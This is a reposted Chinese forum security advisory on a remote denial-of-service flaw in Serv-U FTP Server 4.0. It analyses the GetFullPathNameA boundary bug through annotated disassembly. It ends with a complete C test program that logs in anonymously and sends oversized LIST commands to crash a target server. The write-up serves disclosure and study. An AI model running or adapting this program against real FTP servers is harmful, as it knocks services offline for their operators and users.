★帅の蟑螂
级别:管理员 威望:0 经验:20 货币:4114 体力: 来源:127.0.0.1 总发帖数:3059 注册日期:2001-04-19
|
|
查看 邮件 主页 QQ 消息 引用 复制 下载
Serv-U远程拒绝服务漏洞以及原因分析
原创:isno(isno) 来源:www.xfocus.org
serv-u ftp
server远程拒绝服务漏洞以及原因分析
涉及程序版本: serv-u ftp server
v4.0.0.4(以前版本也可能存在该漏洞,没有测试过)
漏洞类型: 远程拒绝服务
漏洞描述:
前几天使用了一下rhinosoft出品的serv-u ftp,感觉还不错,简单
测试了一下其安全性,发现当用匿名用户登陆后,发送list nnnn...命令,
后跟的字符数量达到253字节时,服务端报错,并且错误对话框无法关闭, 只能重启serv-u ftp服务才行。
由于是由长字符串造成的,我一开始还认为是溢出之类的漏洞。后来
经过深入分析程序汇编代码,发现这不是一般的溢出,甚至可以说不是 serv-u的本身程序的问题,而是一个win32
api的设计上的bug。 getfullpathnamea这个api用来获取指定文件的路径,但是它在处理
长文件名时没有考虑好边界条件,造成可能访问到不存在的内存地址,
在serv-u的例子里就造成了拒绝服务攻击。本来一般像这种访问不存在
内存的漏洞,程序的异常处理都可以回恢复过来的,不至于造成程序崩溃,
但是正是由于这个问题是由系统dll出错而造成的,而不是应用程序本身
的问题,所以应用程序的异常处理例程无法正确处理该问题,从而导致了 服务端程序崩掉。
不仅仅是list命令受该漏洞影响,所有后跟参数是文件名的命令都有
这个问题,例如mdtm等等。另外触发这个漏洞的串长度是根据ftp根目录的
设置不同而定的,我写了个程序来测试该漏洞,程序见后面。
由于这个漏洞无法用来得到权限,所以也懒得报告到bugtraq上去了,
不过分析漏洞的过程还是让我有点收获,起码知道了编程中哪些地方是程
序员容易忽视而造成安全漏洞的地方,微软的程序员也一样犯这样的错误。
程序分析:
下面是通过对该程序的反汇编代码的分析来结束造成该漏洞的原因。
由于反汇编出的代码有几十m之大,分析的时候难免出错,敬请各位发现 问题的同志指出。 serv-u在接受到list
nnn...命令后对文件名进行处理,会进入下面 这一段程序: * referenced by a call at
addresses: |:005a4a8f , :005a4c97 | :005a338c 55 push
ebp :005a338d 8bec mov ebp, esp :005a338f 83c4f8 add esp,
fffffff8 :005a3392 53 push ebx :005a3393 56 push esi
:005a3394 57 push edi :005a3395 8b7d08 mov edi, dword ptr
[ebp+08] :005a3398 6804010000 push 00000104 :005a339d
e802f9feff call 00592ca4 :005a33a2 59 pop ecx :005a33a3 8bd8
mov ebx, eax :005a33a5 85c0 test eax, eax :005a33a7 7507 jne
005a33b0 :005a33a9 33c0 xor eax, eax :005a33ab e9a9000000
jmp 005a3459
* referenced by a (u)nconditional or
(c)onditional jump at address: |:005a33a7(c) | :005a33b0
8d55fc lea edx, dword ptr [ebp-04] :005a33b3 52 push edx
:005a33b4 53 push ebx :005a33b5 6804010000 push 00000104
:005a33ba 8b4d0c mov ecx, dword ptr [ebp+0c] :005a33bd 51
push ecx ;这里是ftp跟目录加上list参数
* reference to:
kernel32.getfullpathnamea, ord:0000h | :005a33be e89f630100
call 005b9762 ;调用getfullpathnamea
;-------------------------------------------------------------------------------------------
;调用到kernel32.dll里的getfullpathnamea函数 exported fn():
getfullpathnamea - ord:012ah :77e80dbd 55 push ebp :77e80dbe
8bec mov ebp, esp :77e80dc0 83ec24 sub esp, 00000024
:77e80dc3 53 push ebx :77e80dc4 56 push esi :77e80dc5
8b7514 mov esi, dword ptr [ebp+14] :77e80dc8 33db xor ebx, ebx
:77e80dca f7de neg esi :77e80dcc 57 push edi :77e80dcd
8d45fc lea eax, dword ptr [ebp-04] :77e80dd0 ff7508 push
[ebp+08] :77e80dd3 895df8 mov dword ptr [ebp-08], ebx
:77e80dd6 1bf6 sbb esi, esi :77e80dd8 23f0 and esi, eax
:77e80dda 8d45ec lea eax, dword ptr [ebp-14] :77e80ddd 50
push eax :77e80dde e81e89feff call 77e69701 :77e80de3 85c0
test eax, eax :77e80de5 0f84039c0000 je 77e8a9ee :77e80deb
64a118000000 mov eax, dword ptr fs:[00000018] :77e80df1 8b4030
mov eax, dword ptr [eax+30] :77e80df4 bf0a020000 mov edi,
0000020a ;长度限制,不正确!!!
;这里0x20a是分配的堆的大小,同时也作为后边判断rtlgetfullpathname_u ;返回长度的比较长度的限制
:77e80df9 57 push edi :77e80dfa ff35b0f7eb77 push dword ptr
[77ebf7b0] :77e80e00 ff7018 push [eax+18] ;分配0x20a字节的内存堆
* reference to: ntdll.rtlallocateheap, ord:014ah |
:77e80e03 ff150410e677 call dword ptr [77e61004] :77e80e09
3bc3 cmp eax, ebx :77e80e0b 8945f4 mov dword ptr [ebp-0c], eax
:77e80e0e 0f84c69b0000 je 77e8a9da :77e80e14 56 push esi
:77e80e15 50 push eax :77e80e16 6808020000 push 00000208
:77e80e1b ff75f0 push [ebp-10]
;rtlgetfullpathname_u用来得到路径的unicode字符串,这个函数是由长度限制的,
;当长度大于0x208的时候无法正确得到路径,即无法正确拷贝串到ebp-0c中。 * reference to:
ntdll.rtlgetfullpathname_u, ord:01e7h | :77e80e1e
ff15ac10e677 call dword ptr [77e610ac] :77e80e24 3bc7 cmp eax,
edi ;这个判断不对,应该跳到错误处理去! ;但是由于前面的限制是0x20a,所以当用0x20a长的字符串时就会判断出错,
;不会进入错误处理去,而是继续对没有得到内容的堆内存进行后面的操作, ;这就是出错的根源 :77e80e26
894508 mov dword ptr [ebp+08], eax :77e80e29 0f87cc9b0000 ja
77e8a9fb
* reference to: ntdll.rtlunicodetomultibytesize,
ord:0294h | :77e80e2f 8b356010e677 mov esi, dword ptr
[77e61060] :77e80e35 50 push eax :77e80e36 ff75f4 push
[ebp-0c] :77e80e39 8d4508 lea eax, dword ptr [ebp+08]
:77e80e3c 50 push eax :77e80e3d ffd6 call esi ;call
rtlunicodetomultibytesize :77e80e3f 3bc3 cmp eax, ebx
:77e80e41 0f8cae9b0000 jl 77e8a9f5 :77e80e47 395d08 cmp
dword ptr [ebp+08], ebx :77e80e4a 0f8491000000 je 77e80ee1
:77e80e50 395d14 cmp dword ptr [ebp+14], ebx :77e80e53 7420
je 77e80e75 :77e80e55 8b45fc mov eax, dword ptr [ebp-04]
:77e80e58 3bc3 cmp eax, ebx :77e80e5a 7419 je 77e80e75
:77e80e5c 2b45f4 sub eax, dword ptr [ebp-0c] :77e80e5f d1f8
sar eax, 1 :77e80e61 d1e0 shl eax, 1 :77e80e63 50 push eax
:77e80e64 8d45f8 lea eax, dword ptr [ebp-08] :77e80e67
ff75f4 push [ebp-0c] :77e80e6a 50 push eax :77e80e6b ffd6
call esi ;call rtlunicodetomultibytesize----出错!!!
;第2次调用rtlunicodetomultibytesize的时候会把上面的错误显现出来 :77e80e6d 3bc3
cmp eax, ebx :77e80e6f 0f8c809b0000 jl 77e8a9f5
;-------------------------------------------------------------------------------------------
最后一个call esi调用这里 exported fn():
rtlunicodetomultibytesize - ord:0296h :77f83ea4 8b44240c mov
eax, dword ptr [esp+0c] :77f83ea8 56 push esi :77f83ea9 33f6
xor esi, esi :77f83eab d1e8 shr eax, 1 :77f83ead
803d14f3fc7700 cmp byte ptr [77fcf314], 00 :77f83eb4
0f8598d30100 jne 77fa1252 ;会转到77fa1252去执行 :77f83eba 8b4c2408 mov
ecx, dword ptr [esp+08] :77f83ebe 8901 mov dword ptr [ecx], eax
:77f83ec0 33c0 xor eax, eax :77f83ec2 5e pop esi
:77f83ec3 c20c00 ret 000c
;-------------------------------------------------------------------------------------------
跳到这里 * referenced by a (u)nconditional or (c)onditional
jump at address: |:77f83eb4(c) | :77fa1252 8bc8 mov ecx,
eax :77fa1254 48 dec eax :77fa1255 85c9 test ecx, ecx
:77fa1257 7424 je 77fa127d :77fa1259 8b4c240c mov ecx, dword
ptr [esp+0c] :77fa125d 57 push edi :77fa125e 8d7801 lea edi,
dword ptr [eax+01]
* referenced by a (u)nconditional or
(c)onditional jump at address: |:77fa127a(c) | :77fa1261
0fb701 movzx eax, word ptr [ecx]
;这里会有个循环不断的取ecx的值,也就是前边rtlallocateheap分配的那个堆,
;因为前面那个堆里没有正确存放内容,所以会造成不跳出循环,从而一直取到
;内存页面不存在的地方,即0x00152000(也可能是别的值,由堆地址所定)。
:77fa1264
8b155404fd77 mov edx, dword ptr [77fd0454] :77fa126a 41 inc ecx
:77fa126b 41 inc ecx :77fa126c 668b0442 mov ax, word ptr
[edx+2*eax] :77fa1270 33d2 xor edx, edx :77fa1272 8ad4 mov
dl, ah :77fa1274 84d2 test dl, dl :77fa1276 7510 jne
77fa1288 :77fa1278 46 inc esi
* referenced by a
(u)nconditional or (c)onditional jump at address: |:77fa128a(u)
| :77fa1279 4f dec edi :77fa127a 75e5 jne 77fa1261
:77fa127c 5f pop edi
* referenced by a (u)nconditional
or (c)onditional jump at address: |:77fa1257(c) |
:77fa127d 8b442408 mov eax, dword ptr [esp+08] :77fa1281
8930 mov dword ptr [eax], esi :77fa1283 e9382cfeff jmp 77f83ec0
* referenced by a (u)nconditional or (c)onditional jump at
address: |:77fa1276(c) | :77fa1288 46 inc esi
:77fa1289 46 inc esi :77fa128a ebed jmp 77fa1279
漏洞测试程序:
/* serv-u ftp server 4.0 remote dos
by isno(isno@xfocus.org) */ #include <stdio.h>
#include <winsock.h> #pragma comment (lib,"ws2_32")
void main(int argc, char *argv[]) { //anonymous ftp
user and passwd char user[] = "user ftp\r\n"; char pass[] =
"pass bug@rhinosoft.com\r\n"; char buff[1024]; int s, i;
struct hostent *ht; struct sockaddr_in sin; wsadata
wsadata;
if(argc != 2) { printf("usage: %s
host\r\n",argv[0]); exit(0); } if(wsastartup
(makeword(1,1), &wsadata) != 0) { printf("wsastartup
failed.\n"); wsacleanup(); exit(1); } if((ht =
gethostbyname(argv[1])) == 0) { printf("cannot resolve
%s\n",argv[1]); exit(1); } sin.sin_port = htons(21);
sin.sin_family = af_inet; sin.sin_addr = *((struct in_addr
*)ht->h_addr); if((s = socket(af_inet, sock_stream, 0)) ==
-1) { printf("cannot setup socket\r\n"); exit(1); }
if((connect(s, (struct sockaddr *) &sin, sizeof(sin))) ==
-1) { printf("cannot connect\r\n"); exit(1); }
memset(buff,0,sizeof(buff)); if(recv(s, buff, 200, 0) == -1)
{ printf("cannot recv\r\n"); exit(1); }
printf("%s\r\n",buff); printf("%s\r\n",user);
memset(buff,0,sizeof(buff)); if(send(s, user, strlen(user),
0) == -1) { printf("cannot send\r\n"); exit(1); }
memset(buff,0,sizeof(buff)); if(recv(s, buff, 200, 0) == -1)
{ printf("cannot recv\r\n"); exit(1); }
printf("%s\r\n",buff); printf("%s\r\n",pass);
memset(buff,0,sizeof(buff)); if(send(s, pass, strlen(pass),
0) == -1) { printf("cannot send\r\n"); exit(1); }
memset(buff,0,sizeof(buff)); if(recv(s, buff, 200, 0) == -1)
{ printf("cannot recv\r\n"); exit(1); }
printf("%s\r\n",buff);
//try long para from 200 to 300
bytes for(i=200;i<300;i++) { printf("send list
nnn...(%d bytes)\r\n",i); memset(buff,0,sizeof(buff));
memcpy(buff,"list ",5); memset(buff+5,0x4e,i);
memcpy(buff+5+i,"\r\n",2); if(send(s, buff, strlen(buff), 0)
== -1) { printf("cannot send\r\n"); exit(1); }
memset(buff,0,sizeof(buff)); if(recv(s, buff, 200, 0) == -1)
{ printf("0verflow!\r\n"); return; } }
closesocket(s); printf("target is not vuln\r\n");
return; } |